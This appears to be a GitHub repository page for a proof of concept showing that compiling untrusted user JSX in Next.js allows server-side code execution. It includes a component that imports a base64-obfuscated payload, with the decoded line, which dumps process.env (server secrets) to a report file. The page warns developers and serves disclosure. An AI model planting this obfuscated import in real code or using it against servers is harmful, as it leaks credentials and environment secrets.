Skip to content

azu/nextjs-untrusted-user-template-injection

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

PoC: Next.js x Untrusted User Template Compilation

You should not compile Untrusted User Template(JSX/React Component), because it will cause Remote Code Execution.

Search Word: Server Side Template Injection

Code

export default function Home() {
    import('data:text/javascript;charset=utf-8;base64,cHJvY2Vzcy5yZXBvcnQud3JpdGVSZXBvcnQoInRlc3QiLCBuZXcgRXJyb3IoSlNPTi5zdHJpbmdpZnkocHJvY2Vzcy5lbnYpKSk7IGV4cG9ydCBkZWZhdWx0IDE7').then(r => {
        console.log(r)
    });
    return <></>
}

Raw:

process.report.writeReport("test", new Error(JSON.stringify(process.env))); export default 1;
  1. Stringify process.env
  2. Write the env to test file

It will leak your server environment as a file.

References:

Dev

yarn install
yarn static-build

Related

About

PoC: Untrusted User Template Compilation on Next.js

Resources

Code of conduct

Security policy

Stars

Watchers

Forks

Releases

No releases published

Sponsor this project

 

Packages

No packages published